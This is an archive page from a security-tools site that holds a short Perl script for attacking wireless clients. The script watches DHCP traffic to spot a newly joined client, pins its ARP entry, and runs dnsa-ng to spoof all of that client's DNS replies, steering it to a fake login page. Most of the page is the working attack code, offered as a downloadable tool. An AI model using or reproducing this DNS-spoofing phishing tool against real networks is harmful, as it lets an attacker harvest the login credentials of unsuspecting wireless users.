what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

wlan_webauth.txt

wlan_webauth.txt
Posted Sep 27, 2005
Authored by Craig Heffner

This is a quick script to redirect a wireless client to a fake a login page for a WLAN. This is much stealthier than implementing a rouge AP in conjunction with layer 1/2 attacks against the WAP. It uses tethereal to listen for IP addresses being assigned to a new wireless client via DHCP, then runs dnsa-ng to redirect DNS queries from the new client to the specified IP.

tags | tool, wireless
SHA-256 | 17b5108909bf86dbdef1d4982b0cebc5b7051fe0b86c0c2f0fafbd25ace69bbd

wlan_webauth.txt

Change Mirror Download
#!/usr/bin/perl
#########################################################################################################
#Description:
# This is a quick script to redirect a wireless client to a fake a login page for a WLAN. This is much
# stealthier than implementing a rouge AP in conjunction with layer 1/2 attacks against the WAP. It
# uses tethereal to listen for IP addresses being assigned to a new wireless client via DHCP, then
# runs dnsa-ng to redirect DNS queries from the new client to the specified IP.
#
#Usage:
# ./wlan_webauth <input interface> <ip address to spoof> <output interface>
#
#Dependancies:
# Uses tethereal and Pierre Betouin's dnsa-ng (http://www.packetfactory.net/projects/dnsa/).
#
#Supported platforms:
# Tested on linux 2.6, with Prisim 2.5 (HostAP drivers) and Atheros (Madwifi drivers) wireless
# cards.
#
#Notes:
# Input interface must be placed in monitor mode.
#
#Craig Heffner
#08/06/05
###########################################################################################################


#check usage
if($#ARGV+1<3){
print "\nUsage: wlan_webauth <input interface> <ip address to spoof> <output interface>\n\nExample: #./wlan_webauth ath0 192.168.0.102 wlan0\n\n";
exit;
}

#run tethereal to look for DHCP replies and grep for the assigned address
open(ETHEREAL, "tethereal -i $ARGV[0] -c 1 -V -R 'bootp.type == 2' | grep -e 'Your (client) IP address:' -e 'MAC address:' |");
while($a<2){
$output.=<ETHEREAL>;
$a++;
}
close(ETHEREAL);

#pull out the IP and MAC address from the string passed into $output
if($output =~ /\b(IP address:)\s+(\S+)/i){
$ip=$2;
}
if($output =~ /\b(MAC address:)\s+(\S+)/i){
$mac=$2;
}


#add the client's MAC/IP to arp table to speed things up, and print out new arp table listings
system "arp -s $ip $mac";
system "arp";

#run dnsa-ng to spoof replies to all DNS requests from the new client
system "dnsa-ng -m raw4 -t wifi -1 -S $ARGV[1] -s $ip -i $ARGV[0] -I $ARGV[2]";

exit;
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close